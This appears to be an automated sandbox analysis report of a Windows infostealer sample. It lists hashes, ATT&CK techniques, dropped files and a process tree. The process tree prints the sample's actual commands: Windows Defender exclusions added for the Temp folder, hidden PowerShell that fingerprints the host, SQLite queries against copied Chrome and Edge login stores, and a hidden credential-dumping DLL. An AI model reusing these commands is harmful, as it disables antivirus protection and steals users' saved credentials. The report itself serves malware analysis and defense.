6ae2d88bf82afae499f1cf40e99c03328f93bea237bce15da172c6828b74a32d

Analysis

max time kernel
149s
max time network
128s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/08/2026, 10:23

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-07_1211795a3e450f724b971f0cc1e06a21_akira_cobalt-strike_glassworm_icedid_njrat_rusty-stealer_satacom.exe
Size 1.8MB
Sample260807-me2xbasgph
SHA256 6ae2d88bf82afae499f1cf40e99c03328f93bea237bce15da172c6828b74a32d
MD5 1211795a3e450f724b971f0cc1e06a21
SHA1 292b0202517b93f4d1b2f6aeccabd55b4b12f648
SHA512 d435c858db2f01bf1102b746ce28739f47adc1edf1690d6cfb92c8b1ded67240658ca099641eba2017a742e4bf2671a04584ea897284186c30711abd5af76ea1
SSDEEP 49152:iOXGdYthkj2behCM7oTudeAtMPEUOaiR4fijAcL:ib8WZgudehPjHs4fs
TLSH
T18085F10666A400B8D2ABC078C7538D17EA32B8860F71B9EF13E466691F37BE45B3D715
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1928	powershell.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Hide Artifacts: Ignore Process Interrupts 1 TTPs 3 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
6088	powershell.exe
2860	powershell.exe
1128	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
6088	powershell.exe
6088	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1928	powershell.exe
1928	powershell.exe
1928	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	6088	powershell.exe
Token: SeIncreaseQuotaPrivilege	6088	powershell.exe
Token: SeSecurityPrivilege	6088	powershell.exe
Token: SeTakeOwnershipPrivilege	6088	powershell.exe
Token: SeLoadDriverPrivilege	6088	powershell.exe
Token: SeSystemProfilePrivilege	6088	powershell.exe
Token: SeSystemtimePrivilege	6088	powershell.exe
Token: SeProfSingleProcessPrivilege	6088	powershell.exe
Token: SeIncBasePriorityPrivilege	6088	powershell.exe
Token: SeCreatePagefilePrivilege	6088	powershell.exe
Token: SeBackupPrivilege	6088	powershell.exe
Token: SeRestorePrivilege	6088	powershell.exe
Token: SeShutdownPrivilege	6088	powershell.exe
Token: SeDebugPrivilege	6088	powershell.exe
Token: SeSystemEnvironmentPrivilege	6088	powershell.exe
Token: SeRemoteShutdownPrivilege	6088	powershell.exe
Token: SeUndockPrivilege	6088	powershell.exe
Token: SeManageVolumePrivilege	6088	powershell.exe
Token: 33	6088	powershell.exe
Token: 34	6088	powershell.exe
Token: 35	6088	powershell.exe
Token: 36	6088	powershell.exe
Token: SeIncreaseQuotaPrivilege	6088	powershell.exe
Token: SeSecurityPrivilege	6088	powershell.exe
Token: SeTakeOwnershipPrivilege	6088	powershell.exe
Token: SeLoadDriverPrivilege	6088	powershell.exe
Token: SeSystemProfilePrivilege	6088	powershell.exe
Token: SeSystemtimePrivilege	6088	powershell.exe
Token: SeProfSingleProcessPrivilege	6088	powershell.exe
Token: SeIncBasePriorityPrivilege	6088	powershell.exe
Token: SeCreatePagefilePrivilege	6088	powershell.exe
Token: SeBackupPrivilege	6088	powershell.exe
Token: SeRestorePrivilege	6088	powershell.exe
Token: SeShutdownPrivilege	6088	powershell.exe
Token: SeDebugPrivilege	6088	powershell.exe
Token: SeSystemEnvironmentPrivilege	6088	powershell.exe
Token: SeRemoteShutdownPrivilege	6088	powershell.exe
Token: SeUndockPrivilege	6088	powershell.exe
Token: SeManageVolumePrivilege	6088	powershell.exe
Token: 33	6088	powershell.exe
Token: 34	6088	powershell.exe
Token: 35	6088	powershell.exe
Token: 36	6088	powershell.exe
Token: SeIncreaseQuotaPrivilege	6088	powershell.exe
Token: SeSecurityPrivilege	6088	powershell.exe
Token: SeTakeOwnershipPrivilege	6088	powershell.exe
Token: SeLoadDriverPrivilege	6088	powershell.exe
Token: SeSystemProfilePrivilege	6088	powershell.exe
Token: SeSystemtimePrivilege	6088	powershell.exe
Token: SeProfSingleProcessPrivilege	6088	powershell.exe
Token: SeIncBasePriorityPrivilege	6088	powershell.exe
Token: SeCreatePagefilePrivilege	6088	powershell.exe
Token: SeBackupPrivilege	6088	powershell.exe
Token: SeRestorePrivilege	6088	powershell.exe
Token: SeShutdownPrivilege	6088	powershell.exe
Token: SeDebugPrivilege	6088	powershell.exe
Token: SeSystemEnvironmentPrivilege	6088	powershell.exe
Token: SeRemoteShutdownPrivilege	6088	powershell.exe
Token: SeUndockPrivilege	6088	powershell.exe
Token: SeManageVolumePrivilege	6088	powershell.exe
Token: 33	6088	powershell.exe
Token: 34	6088	powershell.exe
Token: 35	6088	powershell.exe
Token: 36	6088	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2156 wrote to memory of 3852	2156	2026-08-07_1211795a3e450f724b971f0cc1e06a21_akira_cobalt-strike_glassworm_icedid_njrat_rusty-stealer_satacom.exe	90
PID 3852 wrote to memory of 4980	3852	net.exe	92
PID 2156 wrote to memory of 236	2156	2026-08-07_1211795a3e450f724b971f0cc1e06a21_akira_cobalt-strike_glassworm_icedid_njrat_rusty-stealer_satacom.exe	93
PID 2156 wrote to memory of 3444	2156	2026-08-07_1211795a3e450f724b971f0cc1e06a21_akira_cobalt-strike_glassworm_icedid_njrat_rusty-stealer_satacom.exe	95
PID 2156 wrote to memory of 6088	2156	2026-08-07_1211795a3e450f724b971f0cc1e06a21_akira_cobalt-strike_glassworm_icedid_njrat_rusty-stealer_satacom.exe	97
PID 2156 wrote to memory of 2860	2156	2026-08-07_1211795a3e450f724b971f0cc1e06a21_akira_cobalt-strike_glassworm_icedid_njrat_rusty-stealer_satacom.exe	99
PID 2156 wrote to memory of 1128	2156	2026-08-07_1211795a3e450f724b971f0cc1e06a21_akira_cobalt-strike_glassworm_icedid_njrat_rusty-stealer_satacom.exe	100
PID 2156 wrote to memory of 1928	2156	2026-08-07_1211795a3e450f724b971f0cc1e06a21_akira_cobalt-strike_glassworm_icedid_njrat_rusty-stealer_satacom.exe	101

C:\Users\Admin\AppData\Local\Temp\2026-08-07_1211795a3e450f724b971f0cc1e06a21_akira_cobalt-strike_glassworm_icedid_njrat_rusty-stealer_satacom.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-07_1211795a3e450f724b971f0cc1e06a21_akira_cobalt-strike_glassworm_icedid_njrat_rusty-stealer_satacom.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2156
- C:\Windows\system32\net.exe
  "net" session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3852
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:4980
- C:\Program Files\Windows Defender\MpCmdRun.exe
  "C:\Program Files\Windows Defender\MpCmdRun.exe" -AddExclusion -Path C:\Users\Admin\AppData\Local\Temp\
  2⤵
  PID:236
- C:\Program Files\Windows Defender\MpCmdRun.exe
  "C:\Program Files\Windows Defender\MpCmdRun.exe" -AddExclusion -Path C:\Users\Admin\AppData\Local\Temp
  2⤵
  PID:3444
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -ExecutionPolicy Bypass -Command " $os = (Get-CimInstance Win32_OperatingSystem).Caption $cpu = (Get-CimInstance Win32_Processor).Name $mem = [math]::Round((Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory / 1MB) $gpu = (Get-CimInstance Win32_VideoController).Name -join '; ' $user = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name $host = $env:COMPUTERNAME $arch = (Get-CimInstance Win32_Processor).Architecture $ip = (Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias * -ErrorAction SilentlyContinue | Where-Object { $_.IPAddress -notlike '127.*' }).IPAddress -join ',' $admin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) $webcam = (Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' }).Count -gt 0 \"$os`n$cpu`n$mem`n$gpu`n$user`n$host`n$arch`n$ip`n$admin`n$webcam\" "
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6088
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -ExecutionPolicy Bypass -Command " $ErrorActionPreference = 'SilentlyContinue' try { $cs = \"Data Source=C:\Users\Admin\AppData\Local\Temp\rustrust_Chrome_Default.db;Version=3;Read Only=True;\" $con = New-Object System.Data.SQLite.SQLiteConnection($cs) $con.Open() $cmd = $con.CreateCommand() $cmd.CommandText = \"SELECT origin_url, username_value, length(password_value) AS plen FROM logins WHERE length(password_value) > 0 LIMIT 50\" $r = $cmd.ExecuteReader() while ($r.Read()) { $url = $r[\"origin_url\"] $usr = $r[\"username_value\"] $plen = $r[\"plen\"] \"$url|$usr|$plen\" } $con.Close() } catch { \"EX: \" + $_.Exception.Message } "
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  PID:2860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -ExecutionPolicy Bypass -Command " $ErrorActionPreference = 'SilentlyContinue' try { $cs = \"Data Source=C:\Users\Admin\AppData\Local\Temp\rustrust_Edge_Default.db;Version=3;Read Only=True;\" $con = New-Object System.Data.SQLite.SQLiteConnection($cs) $con.Open() $cmd = $con.CreateCommand() $cmd.CommandText = \"SELECT origin_url, username_value, length(password_value) AS plen FROM logins WHERE length(password_value) > 0 LIMIT 50\" $r = $cmd.ExecuteReader() while ($r.Read()) { $url = $r[\"origin_url\"] $usr = $r[\"username_value\"] $plen = $r[\"plen\"] \"$url|$usr|$plen\" } $con.Close() } catch { \"EX: \" + $_.Exception.Message } "
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  PID:1128
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -ExecutionPolicy Bypass -Command " $ErrorActionPreference = 'Continue' $exe = 'C:/Users/Admin/AppData/Local/Temp/rustrust_abe/chromelevator.dll' $out = 'C:/Users/Admin/AppData/Local/Temp/rustrust_abe/abe_output' $proc = Start-Process -FilePath $exe -ArgumentList '--format','json','--output-dir',$out,'--browser','all' -WindowStyle Hidden -PassThru -Wait Start-Sleep -Seconds 3 $json = Join-Path $out 'all-credentials.json' if (Test-Path $json) { Get-Content $json -Raw } else { 'NO_OUTPUT' } "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1928

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 826e34e1c88185ee0cc83425b83db8e9a51aa5b5c5698f1f53af9dca3946c301
MD5 4e2be3427400dfebe1550237e5f40bbe
SHA1 b67f9b55692e0ba1b4b3d0bd4fa4feef5615716e
SHA512 0057cff5ee273b0adefe74641db615691005635139469a99176d0f48c4c39c0e6416d087e79a30bd6f1f572ce2dfaa01f00c84645fd824fe82f90e39eaf11a52
TLSH
T1C6217537B3EC8215C899413A10CEAC1036B6C7CB80DECF9B6B85E215A43F699CE60160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 08640775456b4dd88e90f6abfdaca5673f09d6ff3a1be6541495a0cf1b6a8a16
MD5 94cc48f6c62f7796a2a2db56ff1c67e7
SHA1 cb3125b077155c6da5680e2916565f0994ceaed2
SHA512 14fa4f8eb34994e92a269a0f3bf09395ebe2112dba18dc60677bd05c9b6a082b0d231c7b33ad48397f9bb891750ec2bcdde683c93ce8842e9b5d288063f7781e
TLSH
T19A115733B3CC8724DC9A403650CEAC1136B687DB409ECE5BAB84D548B42F299CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b67191a152d4566d0194395342f55c6142d94005610603fdc92ac4d491519f82
MD5 836da308c17b18155d513895baff5404
SHA1 548067c779da32edfafb48a6f14e086ed6dac113
SHA512 178cf31b7fc6015878508f9727fbc9feeb029d245b759b27d74ce893732322acf0ecc0c3570ec7c87e62b9e6d58b374a4b529e3e47c42762cd1b8cfe74d73b6a
TLSH
T1AA115733B3CC8724DC9A403650CEAC1136B687DB409EDE6BBB84D549B82F299DE61160
MD5 SHA1 SHA512 TLSH

Submit Download

MpCmdRun.log

Path C:\Users\Admin\AppData\Local\Temp\MpCmdRun.log
Size 2KB
SHA256 f9afb529ee94a44c95b64b92cef0ef138c006436e42dcb4716c1fe12f2e05685
MD5 b8efc51722417fe5e5c74fbffd2feffe
SHA1 ddad2efac6eef67e01463c2e67e04acdee24fde3
SHA512 50c9a563a37d03520681209dba4119cf4a446fbab51a4f8e9292f1a5d389dc407c086653058067b13df9d2484819cc78921b6b4281fd92308b6727023c71ae44
TLSH
T19841F21376ED1208B6F3AB51A9F38122D637BD1219346D4D2488C24D0CEEA04DC14FB3
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_bmb0txoi.3q1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bmb0txoi.3q1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/6088-29-0x000001D873E70000-0x000001D873F22000-memory.dmp

Download

memory/6088-30-0x000001D873BF0000-0x000001D873BFA000-memory.dmp

Download

memory/6088-21-0x00007FFB0B960000-0x00007FFB0C304000-memory.dmp

Download

memory/6088-22-0x00007FFB0B960000-0x00007FFB0C304000-memory.dmp

Download

memory/6088-23-0x00007FFB0B960000-0x00007FFB0C304000-memory.dmp

Download

memory/6088-24-0x00007FFB0B960000-0x00007FFB0C304000-memory.dmp

Download

memory/6088-25-0x00007FFB0B960000-0x00007FFB0C304000-memory.dmp

Download

memory/6088-19-0x00007FFB0B960000-0x00007FFB0C304000-memory.dmp

Download

memory/6088-28-0x000001D873C10000-0x000001D873C2E000-memory.dmp

Download

memory/6088-20-0x00007FFB0B960000-0x00007FFB0C304000-memory.dmp

Download

memory/6088-32-0x000001D874180000-0x000001D8741A4000-memory.dmp

Download

memory/6088-31-0x000001D874180000-0x000001D8741AA000-memory.dmp

Download

memory/6088-33-0x00007FFB0B960000-0x00007FFB0C304000-memory.dmp

Download

memory/6088-34-0x00007FFB0B960000-0x00007FFB0C304000-memory.dmp

Download

memory/6088-16-0x000001D873B80000-0x000001D873BA2000-memory.dmp

Download

memory/6088-37-0x000001D874180000-0x000001D87419E000-memory.dmp

Download

memory/6088-39-0x00007FFB0B960000-0x00007FFB0C304000-memory.dmp

Download

memory/6088-15-0x00007FFB0B960000-0x00007FFB0C304000-memory.dmp

Download

memory/6088-14-0x00007FFB0B960000-0x00007FFB0C304000-memory.dmp

Download

memory/6088-13-0x00007FFB0BAEF000-0x00007FFB0BAF0000-memory.dmp

Download